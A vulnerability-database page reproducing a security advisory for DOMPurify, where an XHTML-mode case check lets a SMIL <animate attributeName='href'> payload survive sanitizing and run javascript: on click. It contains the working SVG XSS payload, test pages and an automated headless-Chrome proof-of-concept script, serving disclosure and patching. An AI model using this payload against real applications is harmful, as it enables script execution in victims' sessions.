GHSA-C6GR-QVV4-5V3F
Vulnerability from github – Published: 2026-10-22 16:24 – Updated: 2026-10-22 16:24
VLAI
Summary
DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml
Details
Summary
DOMPurify drops attributeName attributes whose value contains href, so an allowed <animate> or <set> can't rewrite a link's href after sanitizing. The check compares the attribute name after transformCaseFunc, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled attributeName, so the comparison with "attributename" never matches and the guard does nothing.
An app that uses PARSER_MEDIA_TYPE: 'application/xhtml+xml' and allows animate and attributeName will keep <animate attributeName="href" values="x;javascript:alert(1)">. Clicking the parent link then runs the script.
This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.
Details
In _sanitizeAttributes (dist/purify.js line 2216 in 3.4.16):
const lcName = transformCaseFunc(name);
...
if (lcName === "attributename" && stringMatch(value, "href")) {
_removeAttribute(name, currentNode, attr);
continue;
}
transformCaseFunc is stringToLowerCase for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name attributeName, so in XHTML mode lcName is attributeName and the branch never runs.
People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so ALLOWED_ATTR/ADD_ATTR: ['attributeName', ...] is the config you'd naturally write here.
The value also passes the URI check. IS_ALLOWED_URI only checks the start of the string, and x;javascript:alert(1) looks like a relative value. SMIL reads values as a ; list and, with fill="freeze", the last entry ends up as the effective href of the parent <a>.
In text/html mode the same allowlist is handled correctly. The name is lowercased and attributeName is removed.
This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.
Proof of concept
Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.
Config:
const cfg = {
PARSER_MEDIA_TYPE: 'application/xhtml+xml',
ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] } behaves the same.
Input:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>
Steps:
- Save this as
poc.xhtmlnext topurify.js(3.4.16) and open it in Chrome. The.xhtmlextension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.
<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>
<script src="purify.js"></script></head><body><div id="sink"></div>
<script>//<![CDATA[
const cfg = {
PARSER_MEDIA_TYPE: 'application/xhtml+xml',
ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>';
const clean = DOMPurify.sanitize(dirty, cfg);
console.log(clean);
document.getElementById('sink').innerHTML = clean;
//]]></script></body></html>
- The logged output still contains
attributeName="href"andvalues="x;javascript:alert(1)". document.getElementById('q').href.animValreturns"javascript:alert(1)".- Click "click" and
alert(1)runs.
As a control, remove PARSER_MEDIA_TYPE and change the allowlist entry to attributename. The output then loses attributeName, href.animVal is "", and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.
An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.
poc.sh#!/usr/bin/env bash
# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.
#
# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml"
# config that allow-lists <animate> + attributeName, renders the output into
# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse
# event and reports whether alert() fired. Also runs the same allowlist in
# text/html mode as a control (DOMPurify strips attributeName there).
#
# usage: ./poc.sh [dompurify-version] (default 3.4.16, fetched via `npm pack`)
# DOMPURIFY_JS=/path/to/purify.js ./poc.sh
# CHROME=/path/to/chrome ./poc.sh
# needs: node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.
# exit: 0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error
set -euo pipefail
VER="${1:-3.4.16}"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT
if [ -z "${DOMPURIFY_JS:-}" ]; then
(cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; }
DOMPURIFY_JS="$WORK/package/dist/purify.js"
fi
if [ -z "${CHROME:-}" ]; then
for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \
"$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \
"$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do
[ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break
done
fi
[ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; }
cat > "$WORK/poc.html" <<'EOF'
<!doctype html><meta charset="utf-8"><title>poc</title>
<script src="purify.js"></script>
<div id="sink"></div>
<script>//<![CDATA[
const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' +
'<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' +
'<text x="10" y="40" font-size="30">click</text></a></svg>';
function run(mode) {
const cfg = {
ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml';
const clean = DOMPurify.sanitize(payload, cfg);
document.getElementById('sink').innerHTML = clean;
return clean;
}
//]]></script>
EOF
cp "$DOMPURIFY_JS" "$WORK/purify.js"
# Same test inside a real XHTML document (no HTML<->XHTML context flip):
# the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.
sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \
-e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \
-e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml"
cat > "$WORK/drive.js" <<'EOF'
// zero-dependency CDP driver over --remote-debugging-pipe
const { spawn } = require('child_process');
const [chrome, url, dir] = process.argv.slice(2);
const xurl = url.replace(/\.html$/, '.xhtml');
const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',
`--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });
let id = 0, buf = ''; const pend = new Map(), dialogs = [];
p.stdio[4].on('data', (d) => {
buf += d; let i;
while ((i = buf.indexOf('\0')) >= 0) {
const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);
if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }
else if (m.method === 'Page.javascriptDialogOpening') {
dialogs.push(m.params.message);
send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);
}
}
});
function send(method, params = {}, sessionId) {
return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); });
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
(async () => {
const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });
const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });
await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);
const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;
let vulnerable = false, xhtmlDoc = false;
const ver = async () => ev('DOMPurify.version');
for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {
await send('Page.navigate', { url: page }, s); await sleep(500);
const docType = await ev('document.contentType');
if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]'));
dialogs.length = 0;
const clean = await ev(`run(${JSON.stringify(mode)})`);
await sleep(400); // let the 0.01s animation apply (fill=freeze)
const href = await ev(`(()=>{const a=document.getElementById('q');return a?a.href.animVal:null})()`);
const box = await ev(`(()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);
if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])
await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);
await sleep(800);
console.log(`\n[${mode} mode, sink document ${docType}] sanitized output:\n ${clean}`);
console.log(` animated <a> href (animVal): ${JSON.stringify(href)}`);
console.log(` alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`);
if (mode === 'xhtml' && dialogs.length) vulnerable = true;
if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0;
}
console.log(vulnerable ? `\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\nRESULT: not vulnerable');
p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);
})().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); });
EOF
node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK"
Impact
Stored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow animate (or set) with attributeName, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.16"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-22T16:24:23Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nDOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed `\u003canimate\u003e` or `\u003cset\u003e` can\u0027t rewrite a link\u0027s href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn\u0027t lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `\"attributename\"` never matches and the guard does nothing.\n\nAn app that uses `PARSER_MEDIA_TYPE: \u0027application/xhtml+xml\u0027` and allows `animate` and `attributeName` will keep `\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\"\u003e`. Clicking the parent link then runs the script.\n\nThis needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.\n\n### Details\n\nIn `_sanitizeAttributes` (dist/purify.js line 2216 in 3.4.16):\n\n```js\nconst lcName = transformCaseFunc(name);\n...\nif (lcName === \"attributename\" \u0026\u0026 stringMatch(value, \"href\")) {\n _removeAttribute(name, currentNode, attr);\n continue;\n}\n```\n\n`transformCaseFunc` is `stringToLowerCase` for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG\u0027s real name `attributeName`, so in XHTML mode `lcName` is `attributeName` and the branch never runs.\n\nPeople using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won\u0027t match, so `ALLOWED_ATTR`/`ADD_ATTR: [\u0027attributeName\u0027, ...]` is the config you\u0027d naturally write here.\n\nThe value also passes the URI check. `IS_ALLOWED_URI` only checks the start of the string, and `x;javascript:alert(1)` looks like a relative value. SMIL reads `values` as a `;` list and, with `fill=\"freeze\"`, the last entry ends up as the effective href of the parent `\u003ca\u003e`.\n\nIn text/html mode the same allowlist is handled correctly. The name is lowercased and `attributeName` is removed.\n\nThis is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes \u0026 Bypass History \u00a722): a check written for lowercase names that a case-preserved name gets past.\n\n### Proof of concept\n\nTested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.\n\nConfig:\n\n```js\nconst cfg = {\n PARSER_MEDIA_TYPE: \u0027application/xhtml+xml\u0027,\n ALLOWED_TAGS: [\u0027svg\u0027, \u0027a\u0027, \u0027animate\u0027, \u0027text\u0027],\n ALLOWED_ATTR: [\u0027attributeName\u0027, \u0027values\u0027, \u0027dur\u0027, \u0027fill\u0027, \u0027x\u0027, \u0027y\u0027, \u0027font-size\u0027, \u0027id\u0027, \u0027width\u0027, \u0027height\u0027],\n};\n```\n\n`{ PARSER_MEDIA_TYPE: \u0027application/xhtml+xml\u0027, USE_PROFILES: { svg: true }, ADD_TAGS: [\u0027animate\u0027], ADD_ATTR: [\u0027attributeName\u0027] }` behaves the same.\n\nInput:\n\n```html\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"\u003e\u003ca id=\"q\"\u003e\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/\u003e\u003ctext x=\"10\" y=\"40\" font-size=\"30\"\u003eclick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e\n```\n\nSteps:\n\n1. Save this as `poc.xhtml` next to `purify.js` (3.4.16) and open it in Chrome. The `.xhtml` extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.\n\n```html\n\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003chead\u003e\u003ctitle\u003epoc\u003c/title\u003e\n\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e\u003c/head\u003e\u003cbody\u003e\u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n\u003cscript\u003e//\u003c![CDATA[\nconst cfg = {\n PARSER_MEDIA_TYPE: \u0027application/xhtml+xml\u0027,\n ALLOWED_TAGS: [\u0027svg\u0027, \u0027a\u0027, \u0027animate\u0027, \u0027text\u0027],\n ALLOWED_ATTR: [\u0027attributeName\u0027, \u0027values\u0027, \u0027dur\u0027, \u0027fill\u0027, \u0027x\u0027, \u0027y\u0027, \u0027font-size\u0027, \u0027id\u0027, \u0027width\u0027, \u0027height\u0027],\n};\nconst dirty = \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"\u003e\u003ca id=\"q\"\u003e\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/\u003e\u003ctext x=\"10\" y=\"40\" font-size=\"30\"\u003eclick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e\u0027;\nconst clean = DOMPurify.sanitize(dirty, cfg);\nconsole.log(clean);\ndocument.getElementById(\u0027sink\u0027).innerHTML = clean;\n//]]\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n2. The logged output still contains `attributeName=\"href\"` and `values=\"x;javascript:alert(1)\"`.\n3. `document.getElementById(\u0027q\u0027).href.animVal` returns `\"javascript:alert(1)\"`.\n4. Click \"click\" and `alert(1)` runs.\n\nAs a control, remove `PARSER_MEDIA_TYPE` and change the allowlist entry to `attributename`. The output then loses `attributeName`, `href.animVal` is `\"\"`, and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.\n\nAn automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.\n\n\u003cdetails\u003e\n\u003csummary\u003epoc.sh\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env bash\n# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.\n#\n# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:\"application/xhtml+xml\"\n# config that allow-lists \u003canimate\u003e + attributeName, renders the output into\n# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse\n# event and reports whether alert() fired. Also runs the same allowlist in\n# text/html mode as a control (DOMPurify strips attributeName there).\n#\n# usage: ./poc.sh [dompurify-version] (default 3.4.16, fetched via `npm pack`)\n# DOMPURIFY_JS=/path/to/purify.js ./poc.sh\n# CHROME=/path/to/chrome ./poc.sh\n# needs: node \u003e= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.\n# exit: 0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error\nset -euo pipefail\nVER=\"${1:-3.4.16}\"\nWORK=\"$(mktemp -d)\"\ntrap \u0027rm -rf \"$WORK\"\u0027 EXIT\n\nif [ -z \"${DOMPURIFY_JS:-}\" ]; then\n (cd \"$WORK\" \u0026\u0026 npm pack \"dompurify@$VER\" --silent \u003e/dev/null 2\u003e\u00261 \u0026\u0026 tar xzf dompurify-*.tgz) || { echo \"npm pack dompurify@$VER failed\" \u003e\u00262; exit 2; }\n DOMPURIFY_JS=\"$WORK/package/dist/purify.js\"\nfi\nif [ -z \"${CHROME:-}\" ]; then\n for c in \"$HOME\"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \\\n \"$HOME\"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \\\n \"$(command -v google-chrome || true)\" \"$(command -v chromium || true)\" \"$(command -v chromium-browser || true)\"; do\n [ -n \"$c\" ] \u0026\u0026 [ -x \"$c\" ] \u0026\u0026 CHROME=\"$c\" \u0026\u0026 break\n done\nfi\n[ -n \"${CHROME:-}\" ] || { echo \"no Chrome/Chromium found; set CHROME=\" \u003e\u00262; exit 2; }\n\ncat \u003e \"$WORK/poc.html\" \u003c\u003c\u0027EOF\u0027\n\u003c!doctype html\u003e\u003cmeta charset=\"utf-8\"\u003e\u003ctitle\u003epoc\u003c/title\u003e\n\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e\n\u003cdiv id=\"sink\"\u003e\u003c/div\u003e\n\u003cscript\u003e//\u003c![CDATA[\nconst payload = \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"60\"\u003e\u0027 +\n \u0027\u003ca id=\"q\"\u003e\u003canimate attributeName=\"href\" values=\"x;javascript:alert(1)\" dur=\"0.01s\" fill=\"freeze\"/\u003e\u0027 +\n \u0027\u003ctext x=\"10\" y=\"40\" font-size=\"30\"\u003eclick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e\u0027;\nfunction run(mode) {\n const cfg = {\n ALLOWED_TAGS: [\u0027svg\u0027, \u0027a\u0027, \u0027animate\u0027, \u0027text\u0027],\n ALLOWED_ATTR: [mode === \u0027xhtml\u0027 ? \u0027attributeName\u0027 : \u0027attributename\u0027, \u0027values\u0027, \u0027dur\u0027, \u0027fill\u0027, \u0027x\u0027, \u0027y\u0027, \u0027font-size\u0027, \u0027id\u0027, \u0027width\u0027, \u0027height\u0027],\n };\n if (mode === \u0027xhtml\u0027) cfg.PARSER_MEDIA_TYPE = \u0027application/xhtml+xml\u0027;\n const clean = DOMPurify.sanitize(payload, cfg);\n document.getElementById(\u0027sink\u0027).innerHTML = clean;\n return clean;\n}\n//]]\u003e\u003c/script\u003e\nEOF\ncp \"$DOMPURIFY_JS\" \"$WORK/purify.js\"\n# Same test inside a real XHTML document (no HTML\u003c-\u003eXHTML context flip):\n# the page is parsed as application/xhtml+xml and the sink\u0027s innerHTML uses the XML fragment parser.\nsed -e \u0027s#\u003c!doctype html\u003e\u003cmeta charset=\"utf-8\"\u003e\u003ctitle\u003epoc\u003c/title\u003e#\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\u003chead\u003e\u003ctitle\u003epoc\u003c/title\u003e#\u0027 \\\n -e \u0027s#\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e#\u003cscript src=\"purify.js\"\u003e\u003c/script\u003e\u003c/head\u003e\u003cbody\u003e#\u0027 \\\n -e \u0027s#^\u003c/script\u003e$#\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e#\u0027 \"$WORK/poc.html\" \u003e \"$WORK/poc.xhtml\"\n\ncat \u003e \"$WORK/drive.js\" \u003c\u003c\u0027EOF\u0027\n// zero-dependency CDP driver over --remote-debugging-pipe\nconst { spawn } = require(\u0027child_process\u0027);\nconst [chrome, url, dir] = process.argv.slice(2);\nconst xurl = url.replace(/\\.html$/, \u0027.xhtml\u0027);\nconst p = spawn(chrome, [\u0027--headless\u0027, \u0027--no-sandbox\u0027, \u0027--remote-debugging-pipe\u0027, \u0027--disable-gpu\u0027, \u0027--no-first-run\u0027,\n `--user-data-dir=${dir}/profile`, \u0027about:blank\u0027], { stdio: [\u0027ignore\u0027, \u0027ignore\u0027, \u0027ignore\u0027, \u0027pipe\u0027, \u0027pipe\u0027] });\nlet id = 0, buf = \u0027\u0027; const pend = new Map(), dialogs = [];\np.stdio[4].on(\u0027data\u0027, (d) =\u003e {\n buf += d; let i;\n while ((i = buf.indexOf(\u0027\\0\u0027)) \u003e= 0) {\n const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);\n if (m.id \u0026\u0026 pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }\n else if (m.method === \u0027Page.javascriptDialogOpening\u0027) {\n dialogs.push(m.params.message);\n send(\u0027Page.handleJavaScriptDialog\u0027, { accept: true }, m.sessionId);\n }\n }\n});\nfunction send(method, params = {}, sessionId) {\n return new Promise((r) =\u003e { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + \u0027\\0\u0027); });\n}\nconst sleep = (ms) =\u003e new Promise((r) =\u003e setTimeout(r, ms));\n(async () =\u003e {\n const { result: { targetId } } = await send(\u0027Target.createTarget\u0027, { url: \u0027about:blank\u0027 });\n const { result: { sessionId: s } } = await send(\u0027Target.attachToTarget\u0027, { targetId, flatten: true });\n await send(\u0027Page.enable\u0027, {}, s); await send(\u0027Runtime.enable\u0027, {}, s);\n const ev = async (e) =\u003e (await send(\u0027Runtime.evaluate\u0027, { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;\n let vulnerable = false, xhtmlDoc = false;\n const ver = async () =\u003e ev(\u0027DOMPurify.version\u0027);\n for (const [mode, page] of [[\u0027html\u0027, url], [\u0027xhtml\u0027, url], [\u0027xhtml\u0027, xurl]]) {\n await send(\u0027Page.navigate\u0027, { url: page }, s); await sleep(500);\n const docType = await ev(\u0027document.contentType\u0027);\n if (mode === \u0027html\u0027) console.log(\u0027DOMPurify\u0027, await ver(), \u0027/\u0027, await ev(\u0027navigator.userAgent.match(/Chrome\\\\/[\\\\d.]+/)[0]\u0027));\n dialogs.length = 0;\n const clean = await ev(`run(${JSON.stringify(mode)})`);\n await sleep(400); // let the 0.01s animation apply (fill=freeze)\n const href = await ev(`(()=\u003e{const a=document.getElementById(\u0027q\u0027);return a?a.href.animVal:null})()`);\n const box = await ev(`(()=\u003e{const t=document.querySelector(\u0027#sink text\u0027);if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);\n if (box) for (const type of [\u0027mouseMoved\u0027, \u0027mousePressed\u0027, \u0027mouseReleased\u0027])\n await send(\u0027Input.dispatchMouseEvent\u0027, { type, x: box[0], y: box[1], button: \u0027left\u0027, clickCount: 1 }, s);\n await sleep(800);\n console.log(`\\n[${mode} mode, sink document ${docType}] sanitized output:\\n ${clean}`);\n console.log(` animated \u003ca\u003e href (animVal): ${JSON.stringify(href)}`);\n console.log(` alert() fired on click: ${dialogs.length ? \u0027YES \u0027 + JSON.stringify(dialogs) : \u0027no\u0027}`);\n if (mode === \u0027xhtml\u0027 \u0026\u0026 dialogs.length) vulnerable = true;\n if (mode === \u0027xhtml\u0027 \u0026\u0026 docType === \u0027application/xhtml+xml\u0027) xhtmlDoc = dialogs.length \u003e 0;\n }\n console.log(vulnerable ? `\\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? \u0027also executes\u0027 : \u0027no\u0027})` : \u0027\\nRESULT: not vulnerable\u0027);\n p.kill(\u0027SIGKILL\u0027); process.exit(vulnerable ? 0 : 1);\n})().catch((e) =\u003e { console.error(e); p.kill(\u0027SIGKILL\u0027); process.exit(2); });\nEOF\nnode \"$WORK/drive.js\" \"$CHROME\" \"file://$WORK/poc.html\" \"$WORK\"\n```\n\n\u003c/details\u003e\n\n### Impact\n\nStored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow `animate` (or `set`) with `attributeName`, for example to keep simple SVG animations. Script runs in the app\u0027s origin when a user clicks the sanitized link. Default configs and text/html mode aren\u0027t affected.",
"id": "GHSA-c6gr-qvv4-5v3f",
"modified": "2026-10-22T16:24:23Z",
"published": "2026-10-22T16:24:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-c6gr-qvv4-5v3f"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/pull/1672"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.17"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.